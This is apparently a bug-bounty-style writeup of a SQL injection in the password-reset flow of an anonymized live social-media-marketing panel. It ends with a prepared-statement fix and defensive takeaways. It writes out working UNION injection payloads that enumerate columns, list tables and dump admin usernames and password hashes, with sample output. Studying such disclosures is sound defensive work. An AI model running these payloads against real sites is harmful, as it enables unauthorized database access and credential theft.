SQL injection remains one of the most impactful web vulnerabilities despite being over two decades old. This writeup documents a critical SQL injection vulnerability I discovered in a live SMM (Social Media Marketing) panel — a platform used by thousands of users to purchase social media engagement.

// Responsible Disclosure
This vulnerability was responsibly disclosed to the vendor before publishing. The target has been anonymized. Do not attempt to reproduce this on systems you do not own.

Reconnaissance Phase

The target came via a passive OSINT sweep of Indian-operated SMM panels. I was specifically looking for platforms built on custom PHP backends — historically more vulnerable than SaaS alternatives. Initial fingerprinting revealed a PHP stack with a MySQL backend. The password reset flow exposed an interesting parameter:

GET /forgot-password?email=test@test.com HTTP/1.1
Host: [target-redacted].comhttp

Vulnerability Discovery

Testing the email parameter with a basic apostrophe injection returned a raw MySQL error — exposing file paths, line numbers, and database version. This is a critical misconfiguration in production.

SQL Error: You have an error in your SQL syntax near ''test@test.com'''error

"A raw SQL error in production is a gift from the developer to the attacker. The vulnerability was real, exploitable, and in a live environment."

Exploitation Chain

Step 1: Column Enumeration

test@test.com' ORDER BY 1--+   # No error
test@test.com' ORDER BY 3--+   # Error — 2 columns confirmedsqli

Step 2: Database Extraction

test@test.com' UNION SELECT version(),database()--+
# Returns: MySQL 8.0.28 | panel_db

test@test.com' UNION SELECT GROUP_CONCAT(table_name),2
FROM information_schema.tables
WHERE table_schema='panel_db'--+
# Returns: users,orders,services,admin_users,transactionssqli

Step 3: Admin Credentials

test@test.com' UNION SELECT
  GROUP_CONCAT(username,0x3a,password SEPARATOR '\n'),2
FROM admin_users--+
# Returns: admin:[MD5_HASH], superadmin:[MD5_HASH]sqli

Impact Assessment

ParameterDetails
CVSS Score9.8 (Critical)
Attack VectorNetwork (unauthenticated)
Data at RiskAdmin credentials, full user database, transaction history
DisclosureResponsible — vendor notified within 24h

The Fix

// Vulnerable — string concatenation
$query = "SELECT * FROM users WHERE email = '" . $_GET['email'] . "'";

// Fixed — prepared statement
$stmt = mysqli_prepare($conn, "SELECT * FROM users WHERE email = ?");
mysqli_stmt_bind_param($stmt, "s", $_GET['email']);php

Key Takeaways

  • Always use prepared statements. No exceptions. String concatenation in SQL queries is never acceptable.
  • Disable error reporting in production. The raw MySQL error made this trivially exploitable.
  • Audit password reset flows specifically. They are often coded separately and miss security review.